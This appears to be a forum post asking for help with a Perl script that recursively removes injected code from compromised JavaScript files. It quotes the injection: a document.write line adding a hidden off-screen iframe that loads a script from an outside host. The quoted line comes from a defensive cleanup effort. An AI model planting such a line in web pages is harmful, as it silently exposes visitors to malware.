Here is the code I am working on. It works for sample data, but for the actual data, it is not working. I am working on the backup of the live files and presently using the following script. I am working on Active Perl 5.14 on Windows. Please help.

#!/usr/bin/perl

use strict;
 
# show no warnings about recursion (we know what we do  )
no warnings "recursion";
 
# specify the file you search here (in this example "corporate" ) :
my $file = '\.js$';
my @jsfiles = ();
 
# specify the directory where you want to start the search (in this ex
+ample ".", the current directory) :
my $searchdir = "C:/scripts/corporate";
my $replace_string = "SAMPLE TEXT TO REPLACE";
 
# Calling the Subroutine, which searches the File
readDirectory($searchdir, $file);

print "\n", '*' x 60, "\n";
foreach my $js (@jsfiles) {

    open JAVASCRIPT, '<', "$js" or die "Cannot open file for read ($!)
+";
    open TEMP, '>', "temp.js" or die "Cannot open file for write ($!)"
+;
    #Enable slurp mode
    local $/;
    my $data = <JAVASCRIPT>;
    $data =~ s/$replace_string//g;
    print TEMP $data;
    close JAVASCRIPT;
    close TEMP;
    unlink $js;
    rename "temp.js", $js;
    print "$js\n";
}
print "\n", '*' x 60, "\n";
 
# We need an Subroutine, which can be called on every sub-directory
sub readDirectory
{
     my $searchdir = shift;
     my $searchfile = shift;
 
     # a little bit output, in which directory the script
     # is searching at the moment (the following line is not necessary
+)
     print "Searching in $searchdir \n";
 
     # Open and close the directory
     opendir DIR, $searchdir or die("An error occured: $!");
     my @files = readdir(DIR);
     closedir DIR;
 
     foreach my $currentFile (@files)
     {
          # In Unix/Linux we have the directorys "." and "..",
          # it's no good idea to scan these, so let them skip.
          next if $currentFile =~ /^\./;
 
          # Lets have a look, if the current "file" is the searched fi
+le,
          # else have a look, if the "file" is an directory,
          # and if its one, lets have a look, if the searched file is 
+into it.
          if ( $currentFile =~ /$searchfile/ )
          {
               # We found the right file, now we can do somthing with 
+it,
               # in this case, we only print a text
               push @jsfiles, "$searchdir/$currentFile";
               print "Found the file: $searchdir/$currentFile\n";
          }
          if ( -d "$searchdir/$currentFile" )
          {
               # The Subroutine i calling hisself with the new paramet
+ers
               readDirectory("$searchdir/$currentFile", $searchfile);
          }
     }
}
[download]

Here is a code signature of the hacked .js files

;document.write('<iframe width="50" height="50" style="width:100px;hei
+ght:100px;position:absolute;left:-100px;top:0;" src="http : / / ipxlq
+fn . freewww . info / 9a06efb5c 8163b982c1 1a64762e27 d . cgi ? 8"></
+iframe>');
[download]

I want to make the above code to get replaced instead of the sample pattern.